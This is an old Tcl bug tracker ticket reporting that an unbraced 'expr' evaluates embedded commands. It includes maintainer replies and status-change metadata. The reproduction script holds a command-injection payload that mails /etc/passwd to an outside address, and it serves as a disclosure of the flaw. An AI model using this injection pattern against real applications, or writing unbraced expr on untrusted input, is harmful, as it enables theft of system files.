Artifacts Associated With Ticket 218349
Ticket change [41534553a7] (rid 116172) by nobody on 2000-10-26 00:56:34:
- assignee initialized to: "nobody"
- cmimetype initialized to: "text/plain"
- comment initialized to:
OriginalBugID: 4091 Bug Version: 8.2.2 SubmitDate: '2000-01-26' LastModified: '2000-01-26' Severity: MED Status: Closed Submitter: techsupp ChangedBy: hobbs OS: BSD OSVersion: FreeBSD 3.2, also tried on Linux 2.2 with Tcl 8.0 FixedDate: '2000-10-25' ClosedDate: '2000-01-26' Name: Jørgen Frøjk Kjærsgaard Extensions: None ReproducibleScript: Consider this tclsh session % set a {[exec mail [email protected] < /etc/passwd]} % puts $a [exec mail [email protected] < /etc/passwd] % expr $a + 1 1 ObservedBehavior: I would expect an error message here, as the value of "a" is not an integer. What happens is that the dangerous command gets executed and returns a zero! (don't do this unless you want to mail your /etc/passwd to me!). DesiredBehavior: "Common sense" says that an "expr" like the above should be harmless. People might very well use such a statement in an unsafe interpreter with user (possibly web) input assuming that it can do no harm... I think it would be a good idea to change "expr" to avoid the dangerous double-interpretation. This is a documented feature of the expr command, and allows for expressions like: expr {[string length $a] == 80} If one wants safe execution, and is just doing simple expressions (like for a calculator), that is what safe interpreters are for. interp create -safe slave slave eval {expr [exec mail ...] + 1} => error will be received -- 01/26/2000 hobbs - foundin initialized to: "obsolete: 8.2.2"
- priority initialized to: "5 Medium"
- resolution initialized to: "None"
- status initialized to: "Open"
- submitter initialized to: "nobody"
- subsystem initialized to: "69. Other"
- title initialized to: "Potential safety problem in "expr""
- type initialized to: "RFE"
Ticket change [6a6d8aef85] (rid 128146) by welch on 2000-10-26 08:20:08:
- closedate changed to: "2000-10-26T01:20:08"
- closer changed to: "welch"
- priority changed to: "2"
- resolution changed to: "Fixed"
- status changed to: "Closed"
Ticket change [006129fdec] (rid 119311) by dgp on 2001-04-19 04:39:42:
- foundin changed to: "None"
- status changed to: "Open"
- subsystem changed to: "None"
- title changed to: "Potential safety problem in "expr""
Ticket change [651360c28b] (rid 92890) by dgp on 2001-04-19 04:40:26:
- closedate changed to: "2001-04-18T21:40:26"
- closer changed to: "dgp"
- status changed to: "Closed"
- subsystem changed to: "16. Commands A-H"
- title changed to: "Potential safety problem in "expr""